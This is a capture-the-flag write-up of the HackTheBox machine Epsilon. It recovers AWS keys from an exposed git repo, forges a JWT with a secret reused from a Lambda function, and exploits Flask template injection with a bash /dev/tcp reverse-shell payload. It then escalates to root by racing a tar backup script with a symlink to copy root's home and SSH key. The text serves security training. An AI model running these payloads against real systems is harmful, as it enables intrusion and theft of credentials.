HTB: Epsilon
Epsilon originally released in the 2021 HTB University CTF, but later released on HTB for others to play. In this box, I’ll start by finding an exposed git repo on the webserver, and use that to find source code for the site, including the AWS keys. Those keys get access to lambda functions which contain a secret that is reused as the secret for the signing of JWT tokens on the site. With that secret, I’ll get access to the site and abuse a server-side template injection to get execution and an initial shell. To escalate to root, there’s a backup script that is creating tar archives of the webserver which I can abuse to get a copy of root’s home directory, including the flag and an SSH key for shell access.
Box Info
Name | Epsilon Play on HackTheBox |
---|---|
Release Date | 7 Feb 2022 |
Retire Date | 7 Feb 2022 |
OS | Linux |
Base Points | Medium [30] |
N/A (non-competitive) | |
N/A (non-competitive) | |
Creator |
Recon
nmap
nmap
finds three open TCP ports, SSH (22), HTTP hosted by Apache (80), and HTTP hosted by Python (5000):
oxdf@hacky$ nmap -p- --min-rate 10000 -oA scans/nmap-alltcp 10.10.11.134
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-09 17:58 UTC
Nmap scan report for 10.10.11.134
Host is up (0.062s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
5000/tcp open upnp
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds
oxdf@hacky$ nmap -p 22,80,5000 -sCV -oA scans/nmap-tcpscripts 10.10.11.134
Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-09 18:07 UTC
Nmap scan report for 10.10.11.134
Host is up (0.019s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41
| http-git:
| 10.10.11.134:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
|_ Last commit message: Updating Tracking API # Please enter the commit message for...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
5000/tcp open http Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title: Costume Shop
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.63 seconds
Based on the OpenSSH and Apache versions, the host is likely running Ubuntu 20.04 focal.
nmap
also identified a Git repo on the port 80 site, which I’ll definitely want to check out.
Website - TCP 5000
Site
The page is for a costume shop:
Some basic guesses like “admin” / “admin” don’t work, and simple SQL injections don’t show anything useful either.
Tech Stack
The HTTP headers show what nmap
already identified, that the site is hosted using Python:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 3550
Server: Werkzeug/2.0.2 Python/3.8.10
Date: Wed, 09 Mar 2022 18:22:20 GMT
Directory Brute Force
I’ll run feroxbuster
here with no extensions (because it’s Python):
oxdf@hacky$ feroxbuster -u http://10.10.11.134:5000
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.134:5000
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.5.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
302 GET 4l 24w 208c http://10.10.11.134:5000/home => http://10.10.11.134:5000/
302 GET 4l 24w 208c http://10.10.11.134:5000/order => http://10.10.11.134:5000/
200 GET 234l 454w 4288c http://10.10.11.134:5000/track
[####################] - 1m 29999/29999 0s found:3 errors:0
[####################] - 1m 29999/29999 487/s http://10.10.11.134:5000
/home
and /order
both redirect to the root page which gives the login form. This makes sense for a site that wants auth to access the other pages.
/track
returns 200 OK.
/track
/track
presents a page for tracking orders, including welcoming me as admin:
Every link on this page (including the “Track” button which sends a post to /track
) results in a 302 redirect back to the root login form. I suspect this page wasn’t meant to be accessible.
Website - TCP 80
Site
Trying to visit this site just returns a standard Apache 403 Forbidden page:
Tech Stack
The response headers don’t give any additional information:
HTTP/1.1 403 Forbidden
Date: Wed, 09 Mar 2022 18:19:09 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 277
Connection: close
Content-Type: text/html; charset=iso-8859-1
Directory Brute Force
I’ll run feroxbuster
against the site, but it doesn’t find anything other than the standard Apache server-status
page, which returns 403:
oxdf@hacky$ feroxbuster -u http://10.10.11.134
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.5.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.11.134
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.5.0
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 277c http://10.10.11.134/server-status
[####################] - 18s 29999/29999 0s found:1 errors:0
[####################] - 17s 29999/29999 1726/s http://10.10.11.134
Git Repo
Dump
nmap
pointed out that there was a .git
folder on port 80’s webserver. I’ll use GitTools gitdumper.sh
to pull the repo:
oxdf@hacky$ /opt/GitTools/Dumper/gitdumper.sh http://10.10.11.134/.git/ .
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances.
# Only for educational purposes!
###########
[*] Destination folder does not exist
[+] Creating ./.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
...[snip]...
[+] Downloaded: objects/8d/3b52e153c7d5380b183bbbb51f5d4020944630
[+] Downloaded: objects/fe/d7ab97cf361914f688f0e4f2d3adfafd1d7dca
[+] Downloaded: objects/54/5f6fe2204336c1ea21720cbaa47572eb566e34
oxdf@hacky$ ls -la
total 12
drwxrwx--- 1 root vboxsf 4096 Mar 9 19:18 .
drwxrwx--- 1 root vboxsf 4096 Mar 9 19:16 ..
drwxrwx--- 1 root vboxsf 4096 Mar 9 19:18 .git
It creates a .git
directory, which is how Git repos are stored on disk.
Recover Source Code
If I run git status
, it shows two deleted files:
oxdf@hacky$ git status
On branch master
Changes not staged for commit:
(use "git add/rm <file>..." to update what will be committed)
(use "git restore <file>..." to discard changes in working directory)
deleted: server.py
deleted: track_api_CR_148.py
no changes added to commit (use "git add" and/or "git commit -a")
That’s because the last commit had those files, and now they are not present, so git
thinks they must have been deleted. git reset --hard
will put things back as they were at the last commit:
oxdf@hacky$ git reset --hard
HEAD is now at c622771 Fixed Typo
oxdf@hacky$ git status
On branch master
nothing to commit, working tree clean
oxdf@hacky$ ls -l
total 8
-rw-rw-r-- 1 oxdf oxdf 1670 Mar 9 19:23 server.py
-rw-rw-r-- 1 oxdf oxdf 1099 Mar 9 19:23 track_api_CR_148.py
Source Analysis - server.py
server.py
is a Flask application that defines four routes, /
, /home
, /track
, and /order
. All by /
call verify_jwt
with the provided cookie and redirect to /
if it doesn’t return true. For example:
@app.route("/home")
def home():
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('home.html')
else:
return redirect('/',code=302)
verify_jet
uses the PyJWT library with a secret that is obfuscated in this code:
secret = '<secret_key>'
def verify_jwt(token,key):
try:
username=jwt.decode(token,key,algorithms=['HS256',])['username']
if username:
return True
else:
return False
except:
return False
The login functions seems to suggest that username “admin” with password “admin” should work, but as it didn’t, something must have changed with this code as compared to the live site:
@app.route("/", methods=["GET","POST"])
def index():
if request.method=="POST":
if request.form['username']=="admin" and request.form['password']=="admin":
res = make_response()
username=request.form['username']
token=jwt.encode({"username":"admin"},secret,algorithm="HS256")
res.set_cookie("auth",token)
res.headers['location']='/home'
return res,302
else:
return render_template('index.html')
else:
return render_template('index.html')
The /track
route also doesn’t require auth for a GET, but does for a POST:
@app.route("/track",methods=["GET","POST"])
def track():
if request.method=="POST":
if verify_jwt(request.cookies.get('auth'),secret):
return render_template('track.html',message=True)
else:
return redirect('/',code=302)
else:
return render_template('track.html')
/order
seems to have a server-side template injection (SSTI) vulnerability:
@app.route('/order',methods=["GET","POST"])
def order():
if verify_jwt(request.cookies.get('auth'),secret):
if request.method=="POST":
costume=request.form["costume"]
message = '''
Your order of "{}" has been placed successfully.
'''.format(costume)
tmpl=render_template_string(message,costume=costume)
return render_template('order.html',message=tmpl)
else:
return render_template('order.html')
else:
return redirect('/',code=302)
It is taking user input (the costume
field from the input form), and passing that into render_template_string
, which is a dangerous function. If I get authenticated access to the site, I’ll want to explore that further.
Source Analysis - track_api_CR_148.py
The other file is for interacting with an AWS instance:
import io
import os
from zipfile import ZipFile
from boto3.session import Session
session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilon.htb')
aws_lambda = session.client('lambda')
def files_to_zip(path):
for root, dirs, files in os.walk(path):
for f in files:
full_path = os.path.join(root, f)
archive_name = full_path[len(path) + len(os.sep):]
yield full_path, archive_name
def make_zip_file_bytes(path):
buf = io.BytesIO()
with ZipFile(buf, 'w') as z:
for full_path, archive_name in files_to_zip(path=path):
z.write(full_path, archive_name)
return buf.getvalue()
def update_lambda(lambda_name, lambda_code_path):
if not os.path.isdir(lambda_code_path):
raise ValueError('Lambda directory does not exist: {0}'.format(lambda_code_path))
aws_lambda.update_function_code(
FunctionName=lambda_name,
ZipFile=make_zip_file_bytes(path=lambda_code_path))
Specifically, the update_lambda
function seems to modify AWS serverless functions, called Lambda.
The key information is blanked out. I will note the endpoint_url
, http://cloud.epsilon.htb
, and add that to my /etc/hosts
file.
Past Commits
git log
shows there are four commits:
oxdf@hacky$ git log --oneline
c622771 (HEAD -> master) Fixed Typo
b10dd06 Adding Costume Site
c514416 Updating Tracking API
7cf92a7 Adding Tracking API Module
git diff [a] [b]
will show what changed between two commits. It reads better if the older commit is a. So for example, the last commit that “Fixed Typo” seems to have corrected an issue in the url:
oxdf@hacky$ git diff b10dd06 c622771
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index 545f6fe..8d3b52e 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -8,8 +8,8 @@ session = Session(
aws_access_key_id='<aws_access_key_id>',
aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
- endpoint_url='http://cloud.epsilong.htb')
-aws_lambda = session.client('lambda')
+ endpoint_url='http://cloud.epsilon.htb')
+aws_lambda = session.client('lambda')
Going back another commit (git diff c514416 b10dd06
), this just adds the costume site just like it is in the source I already looked at.
The next commit back, it looks like they removed the AWS creds:
oxdf@hacky$ git diff 7cf92a7 c514416
diff --git a/track_api_CR_148.py b/track_api_CR_148.py
index fed7ab9..545f6fe 100644
--- a/track_api_CR_148.py
+++ b/track_api_CR_148.py
@@ -5,8 +5,8 @@ from boto3.session import Session
session = Session(
- aws_access_key_id='AQLA5M37BDN6FJP76TDC',
- aws_secret_access_key='OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A',
+ aws_access_key_id='<aws_access_key_id>',
+ aws_secret_access_key='<aws_secret_access_key>',
region_name='us-east-1',
endpoint_url='http://cloud.epsilong.htb')
aws_lambda = session.client('lambda')
Shell as tom
Lambda
Configure awscli
I’ve exploited AWS (and AWS-like interfaces like LocalStack) before on HTB (in Gobox and Bucket). This is the first time I’ve shown interaction with Lambda. I’ll use the aws
command line too (apt install awscli
) to connect to this instance.
First I need to configure with the secrets:
oxdf@hacky$ aws configure
AWS Access Key ID [None]: AQLA5M37BDN6FJP76TDC
AWS Secret Access Key [None]: OsK0o/glWwcjk2U3vVEowkvq5t4EiIreB+WdFo1A
Default region name [None]: us-east-1
Default output format [None]:
Explore Lambda
Given the references above to Lambda, I’ll start there. Running aws help
shows that lambda
is one of the subcommands for aws
. For each aws
command, I’ll need to give it --endpoint-url=http://cloud.epsilon.htb
so that it talks to the HTB machine and not to actual AWS.
aws lambda help
gives a list of commands for interacting with Lambda. list-functions
seems like a good place to start:
oxdf@hacky$ aws lambda list-functions --endpoint-url=http://cloud.epsilon.htb
{
"Functions": [
{
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-03-09T18:40:07.722+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f",
"State": "Active",
"LastUpdateStatus": "Successful"
}
]
}
There’s only one function, costume_shop_v1
. To get the code, I need the location, which I can find with get-function
:
oxdf@hacky$ aws lambda get-function --function-name=costume_shop_v1 --endpoint-url=http://cloud.epsilon.htb
{
"Configuration": {
"FunctionName": "costume_shop_v1",
"FunctionArn": "arn:aws:lambda:us-east-1:000000000000:function:costume_shop_v1",
"Runtime": "python3.7",
"Role": "arn:aws:iam::123456789012:role/service-role/dev",
"Handler": "my-function.handler",
"CodeSize": 478,
"Description": "",
"Timeout": 3,
"LastModified": "2022-03-09T18:40:07.722+0000",
"CodeSha256": "IoEBWYw6Ka2HfSTEAYEOSnERX7pq0IIVH5eHBBXEeSw=",
"Version": "$LATEST",
"VpcConfig": {},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "8dc3e57d-61f2-45c6-af28-a45947aca34f",
"State": "Active",
"LastUpdateStatus": "Successful"
},
"Code": {
"Location": "http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code"
},
"Tags": {}
}
This output looks similar to the first output, but it has Code
, which has the location of the source. I’ll download that:
oxdf@hacky$ wget http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
--2022-03-09 20:00:56-- http://cloud.epsilon.htb/2015-03-31/functions/costume_shop_v1/code
Resolving cloud.epsilon.htb (cloud.epsilon.htb)... 10.10.11.134
Connecting to cloud.epsilon.htb (cloud.epsilon.htb)|10.10.11.134|:80... connected.
HTTP request sent, awaiting response... 200
Length: 478 [application/zip]
Saving to: ‘code’
code 100%[=====================================================================================================================>] 478 --.-KB/s in 0s
2022-03-09 20:00:57 (60.4 MB/s) - ‘code’ saved [478/478]
oxdf@hacky$ file code
code: Zip archive data, at least v2.0 to extract
It comes as a Zip Archive, which contains lambda_function.py
:
oxdf@hacky$ unzip code
Archive: code
inflating: lambda_function.py
The code itself isn’t that interesting:
import json
secret='RrXCv`mrNe!K!4+5`wYq' #apigateway authorization for CR-124
'''Beta release for tracking'''
def lambda_handler(event, context):
try:
id=event['queryStringParameters']['order_id']
if id:
return {
'statusCode': 200,
'body': json.dumps(str(resp)) #dynamodb tracking for CR-342
}
else:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
except:
return {
'statusCode': 500,
'body': json.dumps('Invalid Order ID')
}
It seems like perhaps the function will someday be used in the tracking for the application, but for now, it doesn’t do much. It does have a secret
variable though.
Access Costume Site
I can guess (hope) that perhaps the same secret used in this lambda function is used to sign the JWT for the site. I haven’t been able to get a cookie to verify it, so I’ll just forge one and see if it’s accepted. What’s important about the cookie is that it contain a username
field.
oxdf@hacky$ python
Python 3.8.10 (default, Nov 26 2021, 20:14:08)
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> secret = "RrXCv`mrNe!K!4+5`wYq"
>>> jwt.encode({"username":"0xdf"}, secret, algorithm='HS256')
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjB4ZGYifQ.0kQYuCxPdN6bYT66kYg3lF-fjFRU9YvI30hNN4t77RE'
I’ll also note in the code that the token was taken from the cookie named auth
. I’ll add that cookie in the Firefox dev tools:
On visiting /home
, it doesn’t redirect:
SSTI
Find
I noted during the source analysis that there could be an SSTI in /order
. Visiting that page, there’s a form:
The costume field is a drop down selection:
On submitting, the page updates to show a message under the form:
The post request looks like:
POST /order HTTP/1.1
Host: 10.10.11.134:5000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://10.10.11.134:5000
Connection: close
Referer: http://10.10.11.134:5000/order
Cookie: auth=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6IjB4ZGYifQ.0kQYuCxPdN6bYT66kYg3lF-fjFRU9YvI30hNN4t77RE
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
costume=mask&q=1&addr=test
POC
I’ll send that POST to Burp Repeater and try a simple SSTI payload. It worked:
I recently went more in depth looking at SSTI in Bolt (as well as a Beyond Root video looking at how various payloads work). For Epsilon, I’ll use:
{{ namespace.__init__.__globals__.os.popen('id').read() }}
It works nicely as well:
Shell
I’ll update the payload to:
costume={{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >%26 /dev/tcp/10.10.14.8/443 0>%261"').read() }}&q=1&addr=test
I’ll need to URL encode the &
character of the POST request will treat it as a break and a new parameter. I’ll use a Bash reverse shell, with bash -c ''
to make sure it’s running in the Bash context (see the end of my deep dive video on this reverse shell for details).
On submitting in Repeater, it hangs. At my listening nc
, there’s a shell:
oxdf@hacky$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.134 38950
bash: cannot set terminal process group (949): Inappropriate ioctl for device
bash: no job control in this shell
tom@epsilon:/var/www/app$
I’ll upgrade my shell:
tom@epsilon:/var/www/app$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
tom@epsilon:/var/www/app$ ^Z
[1]+ Stopped nc -lnvp 443
oxdf@hacky$ stty raw -echo;fg
nc -lnvp 443
reset
reset: unknown terminal type unknown
Terminal type? screen
tom@epsilon:/var/www/app$
And grab user.txt
:
tom@epsilon:~$ cat user.txt
9ae137b0************************
Shell as root
Enumeration
There isn’t much else in tom’s home directory. There is an interesting but empty directory at /opt/backups
.
I’ll upload pspy:
tom@epsilon:/dev/shm$ wget 10.10.14.8/pspy64
--2022-03-09 20:40:37-- http://10.10.14.8/pspy64
Connecting to 10.10.14.8:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.94M 3.53MB/s in 0.8s
2022-03-09 20:40:38 (3.53 MB/s) - ‘pspy64’ saved [3078592/3078592]
tom@epsilon:/dev/shm$ chmod +x pspy64
On running, it seems to find /usr/bin/backup.sh
running every minute:
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursi
ve) | [] (non-recursive)
Draining file system events due to startup...
done
...[snip]...
2022/03/09 20:42:01 CMD: UID=0 PID=3754 | /usr/sbin/CRON -f
2022/03/09 20:42:01 CMD: UID=0 PID=3755 | /bin/sh -c /usr/bin/backup.sh
2022/03/09 20:42:01 CMD: UID=0 PID=3756 | /bin/bash /usr/bin/backup.sh
2022/03/09 20:42:01 CMD: UID=0 PID=3759 | /usr/bin/tar -cvf /opt/backups/462504870.tar /var/www/app/
2022/03/09 20:42:01 CMD: UID=0 PID=3761 | /bin/bash /usr/bin/backup.sh
2022/03/09 20:42:01 CMD: UID=0 PID=3760 | sha1sum /opt/backups/462504870.tar
2022/03/09 20:42:01 CMD: UID=0 PID=3762 | sleep 5
2022/03/09 20:42:06 CMD: UID=0 PID=3763 |
2022/03/09 20:42:06 CMD: UID=0 PID=3764 | /usr/bin/tar -chvf /var/backups/web_backups/477319990.tar /opt/backups/checksum /opt/backups/462504870.tar
2022/03/09 20:42:06 CMD: UID=0 PID=3765 |
...[snip]...
Just from the PSpy output it looks like the script is running tar
, taking a SHA1 hash, sleeping, checking the checksum, and then doing something else.
backup.sh
Because it’s a simple shell script, I can read the contents as text:
#!/bin/bash
file=`date +%N`
/usr/bin/rm -rf /opt/backups/*
/usr/bin/tar -cvf "/opt/backups/$file.tar" /var/www/app/
sha1sum "/opt/backups/$file.tar" | cut -d ' ' -f1 > /opt/backups/checksum
sleep 5
check_file=`date +%N`
/usr/bin/tar -chvf "/var/backups/web_backups/${check_file}.tar" /opt/backups/checksum "/opt/backups/$file.tar"
/usr/bin/rm -rf /opt/backups/*
date +%N
returns the nanosecond porton of the current time. This effectively gives a random number.
The script:
- Removes all files and folders in
/opt/backups
. - Creates a Tar archive called
/opt/backups/[date str].tar
with the contents of/var/www/app
. - Creates
/opt/backups/checksum
which contains the SHA1 hash of the new.tar
file. - Sleeps for five seconds
- Create a new Tar archive in
/var/backups/web_backups
containing the first archive and the checksum file. - Remove all files and folders from
/opt/backups
.
The second tar
command adds -h
to the parameters. From the man page:
-h, --dereference Follow symlinks; archive and dump the files they point to.
Exploit
To exploit this, I’m going to use a Bash loop to watch for the checksum
file, and replace it with a symbolic link to /root
:
while :; do
if test -f checksum; then
rm -f checksum;
ln -s /root checksum;
echo "Replaced checksum";
sleep 5;
echo "Backup probably done now";
break;
fi;
sleep 1;
done
This will loop ever second, each time checking for the existence of checksum
in the current directory. When it does exist, it will remove it, and replace it with a symbolic link. Then it prints, sleeps, and prints again, and exits the loop. I’ll run this on Epsilon:
tom@epsilon:/opt/backups$ while :; do if test -f checksum; then rm -f checksum; ln -s /root checksum; echo "Replaced checksum"; sleep 5; echo "Backup probably done now"; break; fi; sleep 1; done
Replaced checksum
Backup probably done now
The new backup is significantly larger than the others:
tom@epsilon:/var/backups/web_backups$ ls -l
total 159848
-rw-r--r-- 1 root root 1003520 Mar 9 21:00 313767730.tar
-rw-r--r-- 1 root root 1003520 Mar 9 21:01 333334780.tar
-rw-r--r-- 1 root root 1003520 Mar 9 21:02 358658250.tar
-rw-r--r-- 1 root root 1003520 Mar 9 21:03 386669510.tar
-rw-r--r-- 1 root root 80332800 Mar 9 21:04 498453770.tar
I’ll copy it to /dev/shm
and and extract it:
tom@epsilon:/var/backups/web_backups$ cp 645074490.tar /dev/shm/
tom@epsilon:/var/backups/web_backups$ cd /dev/shm/
tom@epsilon:/dev/shm$ tar xf 498453770.tar
tar: opt/backups/checksum/.bash_history: Cannot mknod: Operation not permitted
tar: Exiting with failure status due to previous errors
There are a couple errors, but over all it works. There’s an opt
directory:
tom@epsilon:/dev/shm$ ls
498453770.tar multipath opt
tom@epsilon:/dev/shm$ cd opt/backups
tom@epsilon:/dev/shm/opt/backups$
tom@epsilon:/dev/shm/opt/backups$ ls -l
total 972
-rw-r--r-- 1 tom tom 993280 Mar 9 21:07 637358080.tar
drwx------ 9 tom tom 300 Dec 20 11:06 checksum
checksum
is a directory, not a file. It looks like a home directory:
tom@epsilon:/dev/shm/opt/backups$ ls checksum/
docker-compose.yml lambda.sh root.txt src
I can read root.txt
at this point:
tom@epsilon:/dev/shm/opt/backups/checksum$ cat root.txt
05460984************************
I can also grab root’s SSH keys:
tom@epsilon:/dev/shm/opt/backups/checksum/.ssh$ ls -l
total 12
-rw------- 1 tom tom 566 Dec 1 13:08 authorized_keys
-rw------- 1 tom tom 2602 Dec 1 13:07 id_rsa
-rw-r--r-- 1 tom tom 566 Dec 1 13:07 id_rsa.pub
With that id_rsa
on my system, I can connect over SSH as root:
oxdf@hacky$ ssh -i ~/keys/epsilon-root root@10.10.11.134
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-97-generic x86_64)
...[snip]...
root@epsilon:~#